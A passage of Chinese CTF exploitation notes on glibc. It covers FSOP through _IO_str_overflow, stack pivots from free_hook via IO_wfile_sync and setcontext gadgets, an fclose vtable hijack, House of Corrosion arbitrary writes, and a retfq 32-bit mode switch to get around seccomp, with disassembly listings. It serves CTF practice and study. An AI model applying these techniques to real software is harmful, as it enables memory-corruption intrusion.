.text:00007FFFF7E73AFE sub r15, r12
.text:00007FFFF7E73B01 cmp esi, 0FFFFFFFFh
.text:00007FFFF7E73B04 mov rsi, rdx
.text:00007FFFF7E73B07 setz al
.text:00007FFFF7E73B0A sub rsi, [rdi+20h]
.text:00007FFFF7E73B0E add rax, r15
.text:00007FFFF7E73B11 cmp rax, rsi
.text:00007FFFF7E73B14 ja loc_7FFFF7E73BF0
.text:00007FFFF7E73B1A and ecx, 1
.text:00007FFFF7E73B1D jnz loc_7FFFF7E73C50
.text:00007FFFF7E73B23 lea r14, [r15+r15+64h]
.text:00007FFFF7E73B28 cmp r15, r14
.text:00007FFFF7E73B2B ja loc_7FFFF7E73C50
.text:00007FFFF7E73B31 mov rdi, r14
.text:00007FFFF7E73B34 call j_malloc可看到调用malloc之前rdx可控制为[rdi+28h]
攻击方式：
劫持
IO_list_all指向我们伪造的io_file劫持
malloc_hook为setcontext+61io_str_overflow里面会调用malloc,调用malloc之前rdx=rdi+0x28rdi=&fake_IO_FILE,此时rdi可控，执行srop
还一种情况是不能分配到理想大小的tcache，无法通过常规方式劫持free或malloc_hook项。（参见TCTF2020 duet）
在执行FSOP前布置好一条tcache bin：chunk A-> ptr 构造好三个IO_FILE: X.chain -> Y.chain -> Z.chain
调用malloc前rdx=rdi+0x28 rdi=&fake_IO_FILE ,此时rdi可控。
这样就可以利用FSOP在_IO_flush_all_lockp时三次进入_IO_str_overflow；第一次控制malloc参数将chunk A分配出来；第二次的时候调用malloc就会分配到ptr，而后memcpy（参见_IO_str_overflow C源码），即可进行任意地址写（通常将_malloc_hook写成setcontext+61，用于第三次刷新IO用）；第三次调用malloc，即可setcontext实现orw。
2.利用_free_hook控制程序流程
_free_hook控制程序流程方法 I ：
然而在我们控了free_hook以后，我们发现libc-2.29中没有可以利用rdi控制rsp进行迁栈的gadget，所以使用了其它方法。IO_wfile_sync函数可以利用rdi控制rdx，函数setcontext+0x35处可以用rdx控rsp，两个搭配使用就可以进行迁栈。在IO_wfile_sync+0x6d处有call [r12+0x20]，这里的r12也是可以用rdi控制的，所以可以利用这条指令调用setcontext+0x35，实现free_hook -> IO_wfile_sync -> setcontext+0x35
.text:0000000000089460 _IO_wfile_sync proc near ; DATA XREF: LOAD:0000000000010230↑o
.text:0000000000089460 ; __libc_IO_vtables:00000000001E5F00↓o ...
.text:0000000000089460
.text:0000000000089460 var_20 = qword ptr -20h
.text:0000000000089460
.text:0000000000089460 ; __unwind {
.text:0000000000089460 push r12
.text:0000000000089462 push rbp
.text:0000000000089463 push rbx
.text:0000000000089464 mov rbx, rdi
.text:0000000000089467 sub rsp, 10h
.text:000000000008946B mov rax, [rdi+0A0h]
.text:0000000000089472 mov rdx, [rax+20h]
.text:0000000000089476 mov rsi, [rax+18h]
.text:000000000008947A cmp rdx, rsi
.text:000000000008947D jbe short loc_894AD
.text:000000000008947F mov eax, [rdi+0C0h]
.text:0000000000089485 test eax, eax
.text:0000000000089487 jle loc_89590
.text:000000000008948D sub rdx, rsi
.text:0000000000089490 sar rdx, 2
.text:0000000000089494 call _IO_wdo_write
.text:0000000000089499 test eax, eax
.text:000000000008949B setnz al
.text:000000000008949E test al, al
.text:00000000000894A0 jnz loc_895AD
.text:00000000000894A6
.text:00000000000894A6 loc_894A6: ; CODE XREF: _IO_wfile_sync+147↓j
.text:00000000000894A6 mov rax, [rbx+0A0h]
.text:00000000000894AD
.text:00000000000894AD loc_894AD: ; CODE XREF: _IO_wfile_sync+1D↑j
.text:00000000000894AD mov rsi, [rax]
.text:00000000000894B0 mov rax, [rax+8]
.text:00000000000894B4 cmp rsi, rax
.text:00000000000894B7 jz short loc_89532
.text:00000000000894B9 sub rsi, rax
.text:00000000000894BC mov r12, [rbx+98h]
.text:00000000000894C3 sar rsi, 2
.text:00000000000894C7 mov rbp, rsi
.text:00000000000894CA mov rdi, r12
.text:00000000000894CD call qword ptr [r12+20h]方法 II :
利用libc中的这段gadget
sub rsp,0x18
mov rbp,[rdi+0x48]
mov rax,[rbp+0x18]
lea r13,[rbp+0x10]
mov dword ptr [rbp+0x10],0
mov rdi,r13
call qword ptr [rax+0x28]将free_hook写成这个gadget，可控制rbp寄存器，call时跳转到leave_ret指令实现栈迁移
或者glibc2.31中的这一段
0x7fcab86497a0 <getkeyserv_handle+576> mov rdx, qword ptr [rdi + 8]
0x7fcab86497a4 <getkeyserv_handle+580> mov qword ptr [rsp], rax
0x7fcab86497a8 <getkeyserv_handle+584> call qword ptr [rdx + 0x20] <0x7fcab854d0dd>3.利用fclose（特殊条件）
fclose的源码，其核心函数是位于/libio/iofclose.c的_IO_new_fclose函数，其大致流程是：首先检查文件结构体指针，之后使用_IO_un_link将文件结构体从_IO_list_all链表取下，_IO_file_close_it里会最终调用IO_SYSCLOSE(fp)关闭文件描述符，之后返回fclose函数会调用到vtable里面的函数_IO_FINISH(fp)，如果并非stdin/stdout/stderr最后调用free(fp)释放结构体指针。
在_IO_file_close_it里调用IO_SYSCLOSE(fp)，或是在fclose里调用_IO_FINISH(fp)的时候，rdx的寄存器值都是_IO_helper_jumps，所以只要我们能控制_IO_helper_jumps的值就能控制rdx（2.29以上jumps_table可写）.
利用方式：
我们可以将IO_file_jumps+0x88(sysclose)（0x10(finish)）的位置覆盖为setcontext+53并且在IO_helper_jumps上布置setcontext参数，或者将vtable直接覆盖为IO_helper_jumps，然后直接在IO_helper_jumps布置所有的值。
House-of-Corrosion 任意地址写
可以分配较大的堆块（size <=0x3b00)
通过爆破4bit,改写bk进行unsortedbin attack 改写global_max_fast变量
通过分配释放特定大小的堆块,记为A (chunk size = (offset * 2) + 0x20 ，offset为target_addr与fastbinY的差值)
pwndbg> p (mfastbinptr (*)[10])target_addr - &main_arena.fastbinsYtarget_addr为攻击地址
所以我们至少可实现任意地址写null,存在UAF时可写任意value.
seccomp 没禁用架构
大致思路：
调用mmap申请地址，调用read读入32位shellcode
同时构造用retfq切换到32位模式，跳转到32位shellcode 位置
按照32位规则调用fp = open("flag")
保存open函数返回的fp指针，再次调用retfq切换回64模式，跳转到64位shellcode位置
执行read,write打印flag
注意点：
cs = 0x23代表32位模式，cs = 0x33代表64位模式，retfq有两步操作，ret以及set cs，所以执行retfq会跳转到rsp同时将cs设置为[rsp+0x8]，我们只需要事先在ret位置写入32位的shellcode就可以执行了，但retfq跳转过去的时候程序已经切换成了32位模式，所以地址解析也是以32位的规则来的，所以原先的rsp = 0x7ffe530d01b8会被解析成esp = 0x530d01b8，所以跳过去之后再执行push/pop的指令就会报错，所以在跳转过去后要先平衡好esp的地址，比如执行mov esp,im
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